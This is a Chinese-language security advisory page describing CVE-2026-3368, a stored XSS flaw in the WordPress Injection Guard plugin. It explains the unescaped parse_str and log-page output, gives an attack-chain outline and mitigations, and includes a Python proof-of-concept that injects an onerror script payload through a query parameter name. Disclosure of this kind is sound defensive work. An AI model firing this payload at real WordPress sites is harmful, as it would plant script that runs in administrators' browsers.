IPBUF安全漏洞报告
English
CVE-2026-3368 CVSS 7.2 高危

CVE-2026-3368: WordPress插件Injection Guard存储型XSS漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-3368
漏洞类型
存储型跨站脚本攻击
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Injection Guard 插件

相关标签

XSSWordPressInjection Guard存储型XSS无需认证

漏洞概述

WordPress Injection Guard插件在1.2.9及之前版本中存在存储型XSS漏洞。由于sanitize_ig_data()函数未清理数组键值,且ig_settings.php模板缺少输出转义,未经身份验证的攻击者可通过恶意查询参数名称注入任意Web脚本,当管理员查看日志页面时触发执行。

技术细节

该漏洞核心在于插件对用户输入的处理逻辑存在缺陷。插件首先通过$_SERVER['QUERY_STRING']获取完整的查询字符串,使用esc_url_raw()函数进行处理。该函数虽然用于清理URL,但保留了如%3C、%3E、%22等特殊字符的URL编码形式。随后,插件调用parse_str()函数解析字符串,该函数会将URL编码的字符还原,导致原本编码的HTML/JavaScript代码被解码并存入数组的键名中。这些恶意键名随后通过update_option('ig_requests_log')被持久化存储在数据库中。当管理员访问后台日志页面时,ig_settings.php模板直接从数据库读取并输出这些键名,且未经过任何HTML实体转义(如esc_html()或esc_attr())。因此,未经身份认证的攻击者只需构造包含恶意参数名的URL发送请求,即可将XSS Payload存储于服务器端,一旦管理员查看日志,Payload便会在其浏览器上下文中执行。

攻击链分析

STEP 1
1. 侦察
攻击者识别目标站点使用了Injection Guard插件。
STEP 2
2. 武器化
攻击者构造包含恶意脚本作为参数名的URL。
STEP 3
3. 投递
攻击者向目标站点发送包含恶意参数的HTTP请求。
STEP 4
4. 利用
插件解析请求,将恶意脚本存储在数据库的日志选项中。
STEP 5
5. 安装
Payload已持久化存储在WordPress数据库中。
STEP 6
6. 目标行动
管理员访问后台日志页面,恶意脚本在浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://example.com/" # The exploit relies on injecting a payload into the query parameter name. # The payload needs to be URL encoded because it becomes the parameter name. # Example: <script>alert(1)</script> -> %3Cscript%3Ealert(1)%3C/script%3E # The plugin uses parse_str() which decodes it, and then stores it in the database key. xss_payload = "<img src=x onerror=alert('CVE-2026-3368')>" url_encoded_payload = requests.utils.quote(xss_payload) # Construct the malicious URL # Format: http://example.com/?[PAYLOAD]=dummy_value exploit_url = f"{target_url}?{url_encoded_payload}=test" def send_exploit(): try: response = requests.get(exploit_url) if response.status_code == 200: print(f"[+] Payload sent successfully to: {exploit_url}") print("[*] Check the 'Injection Guard' log page in the WordPress admin panel to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_exploit()

影响范围

Injection Guard <= 1.2.9

防御指南

临时缓解措施
建议暂时禁用Injection Guard插件,直到官方发布修复版本。如果必须使用,请严格限制后台日志页面的访问权限,仅允许可信人员访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表